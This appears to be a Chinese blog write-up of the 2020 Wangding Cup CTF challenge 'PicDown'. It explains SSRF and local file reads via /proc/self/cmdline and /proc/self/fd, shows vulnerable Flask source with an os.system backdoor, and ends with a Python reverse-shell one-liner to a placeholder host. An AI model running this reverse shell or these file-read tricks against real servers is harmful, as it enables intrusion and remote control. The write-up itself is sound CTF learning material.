网鼎杯-2020-白虎组-PicDown

摘要
网鼎杯-2020-白虎组-PicDown

/page 下有一个url参数,输入一个百度,发现下载了网页源码

试一下本地资源,结果还真读出来了……flag也是根目录……看一眼wp

当前运行的程序

/proc/[pid]/cmdline:输出当前程序的完整命令行信息

我们可以读取当前web程序的运行:**/proc/self/cmdline**

python app.py

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

分析

1
2
3
4
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

打开/tmp/secret.txt,读入SECRET_KEY,并删除掉 (remove

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res

需要用key来getshell

文件描述符fd

文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。

当一个新进程建立时,此进程将默认有 0,1,2 的文件描述符

文件描述符 缩写 描述
0 STDIN 标准输入
1 STDOUT 标准输出
2 STDERR 标准错误输出

其实我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。那么我们可以把上面表格中的文件描述符0理解为我和计算机交互时的输入,而这个输入默认是指向键盘的; 文件描述符1理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;文件描述符2理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置;

所以0,1,2一般会指向终端

当这个进程去打开一个新的文件时:

如果此时去打开一个新的文件,它的文件描述符会是 3 。POSIX 标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号

此文件描述符用来指定待读写的文件

而在进程的运行中,如果只是删除文件而不关闭(close)文件,此文件的文件描述符仍然存在,通过此访问符,依然可以访问到文件。

获取key

image-20210817183726750

只打开了key文件,访问3即可读取到key

/dev/fd

  1. /dev/fd是一个虚拟的“东西”,它实际指向/proc/self/fd。里面存放的是某个program所打开的文件描述符。不同的program所看到的/proc/self/fd不同。比如同一个账号在不同tty登录同一台服务器,a看到的/proc/self/fd实际是/proc/8231/fd,而b看到的是/proc/14133/fd

  2. /dev/fd里放的是文件描述符。默认的文件描述符有3个,0: stdin;1: stdout; 2: stderr。不同的program打开的文件描述符可能还不同。

  3. 当一个文件描述符被关闭后再被试图读写,就会报错。

这玩意似乎也行,是指向**/proc/self/fd**的……

image-20210817184042731

也有解释称:/dev/fd[0-7]:标准软驱 ——Linux /dev目录详解

啊……不是很懂

弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxxx',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

参考文章:

网鼎杯白虎组web - PicDown

[V&N2020 公开赛]CHECKIN

简析Linux中 /proc/pid 目录的各文件

彻底搞懂文件描述符fd

理解文件描述符

Linux /dev目录详解

/dev/fd 文件描述符

Linux: /dev/fd/详解

作者

inanb

发布于

2021-08-17

更新于

2021-08-23

许可协议


:D 一言句子获取中...